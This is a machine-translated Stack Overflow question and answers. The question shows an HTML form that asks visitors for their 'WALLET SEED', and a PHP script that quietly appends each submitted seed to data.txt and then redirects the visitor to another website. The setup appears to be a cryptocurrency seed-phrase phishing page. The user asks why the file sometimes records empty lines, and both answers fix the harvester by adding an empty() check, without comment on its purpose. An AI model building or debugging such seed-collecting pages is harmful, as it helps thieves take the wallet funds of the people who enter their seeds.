创建一个表单
<form action="welcome.php" method="post" ........................">
<button id=......................ERATE NEW SEED</button>
<br/><br/>
<div class="form-field">
<label for...............">WALLET SEED</label>
<br/>
<textarea id=...........................="false"></textarea>
<span class="clipSp............ successfully copied to clipboard" ></span>
<br/>
</div>
<br/>
<div clas..........content">
<div>ADDRESS
<br/>
<span>{{vm.displayAddress}}</span>
</div>
</div>
<button class="wButton fade" type="submit">REGISTER ACCOUNT</button>
<span class="divider-2"></span>
<button class="wButton fade" type="reset" ng-click="vm.back()">BACK</button>
.
.
.
.然后我就有了这个"welcome.php“文件。
<?php
$var = $_POST['formdesiredpost'];
file_put_contents("data.txt", $var . "\n", FILE_APPEND);
header("Location: https://randomwebsiteredirect.com");
exit();
?>它应该将表单(文本区域)中所需的值发送到文本文件data.txt中。但问题是它是随机工作的。有时它可以工作,有时它只是在data.txt文件中创建一个没有文本的新行。我认为这可能是cookie的问题,使用隐身模式(google chrome)使它更准确,但它仍然失败了几次,在data.txt文件中创建了空行。
我想补充的是,如果我删除了data.txt文件中的所有内容,那么我会尝试再次提交表单。它又开始工作了。但只有2-4个提交,然后它停止发布,并且每次有人发布内容时,它只在data.txt文件中创建新的空行。
发布于 2017-07-15 15:32:43
您的代码将在任何条件下执行,即使$_POST['formdesiredpost']中的数据为空。因此,当$_POST['formdesiredpost']空代码时,在文件中创建空的新行。
如果您不想添加新行空行,则应首先检查是否为空。
if(!empty($_POST['formdesiredpost'])){
$var = $_POST['formdesiredpost'];
file_put_contents("data.txt", $var . "\n", FILE_APPEND);
header("Location: https://randomwebsiteredirect.com");
exit();
}发布于 2017-07-15 16:33:32
每次创建空文件时检查first.Because你的帖子数据
$var = $_POST['formdesiredpost'];
if(!empty($var))
file_put_contents("data.txt", $var . "\n", FILE_APPEND);
header("Location: https://randomwebsiteredirect.com");
exit();
}https://stackoverflow.com/questions/45115691
复制相似问题